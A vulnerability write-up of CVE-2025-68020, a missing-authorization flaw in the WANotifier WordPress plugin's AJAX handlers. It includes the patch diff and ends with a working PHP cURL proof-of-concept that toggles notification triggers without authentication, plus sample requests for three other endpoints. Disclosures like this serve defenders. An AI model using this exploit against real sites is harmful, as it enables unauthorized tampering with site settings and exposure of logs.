Atomic Edge analysis of CVE-2025-68020:
The WANotifier WordPress plugin contains a Missing Authorization vulnerability in versions up to and including 2.7.12. This flaw allows unauthenticated attackers to execute privileged administrative functions via AJAX endpoints. The vulnerability affects the plugin’s core administrative functionality, enabling unauthorized control over notification triggers and system settings.
Root Cause:
The vulnerability stems from four AJAX handler functions that lack proper capability checks and nonce verification. The affected functions are `notifier_change_trigger_status()` in class-notifier-notification-triggers.php (line 709), `notifier_fetch_trigger_fields()` in the same file (line 728), `preview_btn_style()` in class-notifier-settings.php (line 614), and `fetch_activity_logs_by_date()` in class-notifier-tools.php (line 188). Each function processes POST requests without validating if the user has the `manage_options` capability or verifying WordPress nonces.
Exploitation:
Attackers can send POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to specific AJAX hooks. For trigger status changes, attackers use `action=notifier_change_trigger_status` with `post_id` and `enabled` parameters. For fetching trigger fields, they use `action=notifier_fetch_trigger_fields` with `post_id` and `trigger` parameters. For button previews, they use `action=preview_btn_style` with `btn_style` parameter. For activity logs, they use `action=fetch_activity_logs_by_date` with `notifier_activity_date` parameter. No authentication or nonce tokens are required.
Patch Analysis:
The patch in version 2.7.13 adds two security layers to each vulnerable function. First, each function now checks `current_user_can(‘manage_options’)` before processing requests. Second, each function verifies a WordPress nonce using `wp_verify_nonce()` with specific nonce actions. The patch also adds nonce generation to the JavaScript localization in class-notifier.php (line 184-191) and implements input sanitization using `intval()` and `sanitize_text_field()` on POST parameters.
Impact:
Successful exploitation allows unauthenticated attackers to enable or disable notification triggers, retrieve sensitive trigger configuration data, preview chat button styles, and access activity logs. This constitutes unauthorized administrative access to the plugin’s core functionality. Attackers could disrupt notification workflows, gather sensitive configuration information, and potentially chain this vulnerability with other flaws for further system compromise.
--- a/notifier/includes/class-notifier.php
+++ b/notifier/includes/class-notifier.php
@@ -23,7 +23,7 @@
* Define Constants.
*/
private function define_constants() {
- $this->define( 'NOTIFIER_VERSION', '2.7.12' );
+ $this->define( 'NOTIFIER_VERSION', '2.7.13' );
$this->define( 'NOTIFIER_NAME', 'notifier' );
$this->define( 'NOTIFIER_PREFIX', 'notifier_' );
$this->define( 'NOTIFIER_URL', trailingslashit( plugins_url( '', dirname(__FILE__) ) ) );
@@ -181,7 +181,15 @@
wp_localize_script(
NOTIFIER_NAME . '-admin-js',
'notifierObj',
- apply_filters( 'notifier_js_variables', array('ajaxurl' => admin_url( 'admin-ajax.php' ) ) )
+ apply_filters( 'notifier_js_variables', array(
+ 'ajaxurl' => admin_url( 'admin-ajax.php' ),
+ 'nonces' => array(
+ 'preview_btn_style' => wp_create_nonce( 'notifier_preview_btn_style' ),
+ 'fetch_activity_logs' => wp_create_nonce( 'notifier_fetch_activity_logs' ),
+ 'change_trigger_status' => wp_create_nonce( 'notifier_change_trigger_status' ),
+ 'fetch_trigger_fields' => wp_create_nonce( 'notifier_fetch_trigger_fields' )
+ )
+ ) )
);
// Styles
--- a/notifier/includes/classes/class-notifier-notification-triggers.php
+++ b/notifier/includes/classes/class-notifier-notification-triggers.php
@@ -709,14 +709,30 @@
* Enable / disable trigger
*/
public static function notifier_change_trigger_status(){
- $post_id = isset($_POST['post_id']) ? $_POST['post_id'] : 0;
- $enabled = isset($_POST['enabled']) ? $_POST['enabled'] : 'no';
+ // Security check: Verify user has manage_options capability
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'You do not have permission to perform this action.'
+ ) );
+ }
+
+ // Verify nonce for additional security
+ if ( ! wp_verify_nonce( $_POST['_wpnonce'] ?? '', 'notifier_change_trigger_status' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'Security check failed.'
+ ) );
+ }
+
+ $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+ $enabled = isset($_POST['enabled']) ? sanitize_text_field($_POST['enabled']) : 'no';
+
if('wa_notifier_trigger' != get_post_type($post_id)){
wp_send_json( array(
'error' => true,
'message' => 'Invalid post type.'
) );
}
+
update_post_meta( $post_id, NOTIFIER_PREFIX . 'trigger_enabled' , $enabled);
wp_send_json( array(
'error' => false,
@@ -728,8 +744,22 @@
* Fetch trigger fields for a speicific trigger
*/
public static function notifier_fetch_trigger_fields(){
- $post_id = isset($_POST['post_id']) ? $_POST['post_id'] : 0;
- $trigger = isset($_POST['trigger']) ? $_POST['trigger'] : '';
+ // Security check: Verify user has manage_options capability
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'You do not have permission to perform this action.'
+ ) );
+ }
+
+ // Verify nonce for additional security
+ if ( ! wp_verify_nonce( $_POST['_wpnonce'] ?? '', 'notifier_fetch_trigger_fields' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'Security check failed.'
+ ) );
+ }
+
+ $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
+ $trigger = isset($_POST['trigger']) ? sanitize_text_field($_POST['trigger']) : '';
$data_fields = get_post_meta( $post_id, NOTIFIER_PREFIX . 'data_fields', true);
$recipient_fields = get_post_meta( $post_id, NOTIFIER_PREFIX . 'recipient_fields', true);
--- a/notifier/includes/classes/class-notifier-settings.php
+++ b/notifier/includes/classes/class-notifier-settings.php
@@ -614,6 +614,20 @@
* Show Chat Button Preview
*/
public static function preview_btn_style(){
+ // Security check: Verify user has manage_options capability
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'You do not have permission to perform this action.'
+ ) );
+ }
+
+ // Verify nonce for additional security
+ if ( ! wp_verify_nonce( $_POST['_wpnonce'] ?? '', 'notifier_preview_btn_style' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'Security check failed.'
+ ) );
+ }
+
$btn_style = isset($_POST['btn_style']) ? sanitize_text_field($_POST['btn_style']) : '';
$button_styles = self::get_button_styles();
--- a/notifier/includes/classes/class-notifier-tools.php
+++ b/notifier/includes/classes/class-notifier-tools.php
@@ -188,6 +188,20 @@
* Fetch all activity info for current user by date
*/
public static function fetch_activity_logs_by_date() {
+ // Security check: Verify user has manage_options capability
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'You do not have permission to perform this action.'
+ ) );
+ }
+
+ // Verify nonce for additional security
+ if ( ! wp_verify_nonce( $_POST['_wpnonce'] ?? '', 'notifier_fetch_activity_logs' ) ) {
+ wp_send_json_error( array(
+ 'message' => 'Security check failed.'
+ ) );
+ }
+
$activity_date = isset($_POST['notifier_activity_date']) ? sanitize_text_field($_POST['notifier_activity_date']) : '';
global $wpdb;
--- a/notifier/notifier.php
+++ b/notifier/notifier.php
@@ -3,7 +3,7 @@
* Plugin Name: Send Notifications from Woocommerce, Form Plugins and More!
* Plugin URI: https://wordpress.org/plugins/notifier/
* Description: WhatsApp API integration to send WhatsApp notifications from Woocommerce, Contact Form 7, Gravity Forms, WPForms & more.
- * Version: 2.7.12
+ * Version: 2.7.13
* Author: WANotifier
* Author URI: https://wanotifier.com
* Text Domain: notifier
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68020 - WANotifier <= 2.7.12 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-68020
* Demonstrates unauthorized trigger status change in WANotifier plugin
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Prepare the POST data for changing trigger status
$post_data = array(
'action' => 'notifier_change_trigger_status',
'post_id' => 123, // Target trigger post ID
'enabled' => 'yes' // Enable the trigger
);
// Initialize cURL session
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for errors
if (curl_errno($ch)) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Parse JSON response
$json_response = json_decode($response, true);
if (isset($json_response['error']) && $json_response['error'] === false) {
echo "[SUCCESS] Trigger status changed successfullyn";
echo "Message: " . $json_response['message'] . "n";
} else {
echo "[FAILED] Exploit attempt unsuccessfuln";
if (isset($json_response['message'])) {
echo "Error: " . $json_response['message'] . "n";
}
}
}
// Close cURL session
curl_close($ch);
// Additional exploitation examples for other vulnerable endpoints
/*
// Example 1: Fetch trigger fields
$post_data = array(
'action' => 'notifier_fetch_trigger_fields',
'post_id' => 123,
'trigger' => 'wc_order_status_changed'
);
// Example 2: Preview button style
$post_data = array(
'action' => 'preview_btn_style',
'btn_style' => 'style1'
);
// Example 3: Fetch activity logs
$post_data = array(
'action' => 'fetch_activity_logs_by_date',
'notifier_activity_date' => '2024-01-01'
);
*/
?>